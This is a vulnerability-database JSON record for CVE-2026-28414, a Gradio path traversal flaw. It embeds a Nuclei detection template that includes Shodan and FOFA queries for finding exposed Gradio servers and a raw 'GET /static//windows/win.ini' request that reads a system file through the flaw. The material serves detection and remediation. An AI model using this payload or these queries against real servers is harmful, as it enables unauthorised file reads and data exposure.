{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-28414/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-28414/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-28414/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-28414/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-28414/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-28414/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-28414"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-28414"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-28414.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-28414\n\ninfo:\n  name: Gradio - Absolute Path Traversal\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Gradio < 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.\n  impact: |\n   Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.\n  remediation: |\n   Upgrade to version 6.7 or later.\n  reference:\n    - https://github.com/gradio-app/gradio/security/advisories/GHSA-39mp-8hj3-5c49\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-28414\n  classification:\n    cve-id: CVE-2026-28414\n    epss-score: 0.03059\n    epss-percentile: 0.87648\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cwe-id: CWE-36\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: gradio-app\n    product: gradio\n    shodan-query: 'http.title:\"Gradio\"'\n    fofa-query: 'title=\"Gradio\" || body=\"gradio-app\"'\n  tags: cve,cve2026,gradio,lfi,traversal,unauth,windows,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(to_lower(body), \"window.gradio_config\", \"__gradio_mode__\")'\n        condition: and\n\n  - raw:\n      - |\n        GET /static//windows/win.ini HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/plain\")'\n          - 'contains_all(to_lower(body), \"[fonts]\", \"[extensions]\")'\n        condition: and\n# digest: 4a0a0047304502203629eed6953bdc0f01bc41c857b26f7039182ed336abf3f3907d4c20a821f7a8022100a45ddd8d1b03ea899670495b484bb3c97a73af2c6e581928c7ee9e70e85ad91d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-28414"}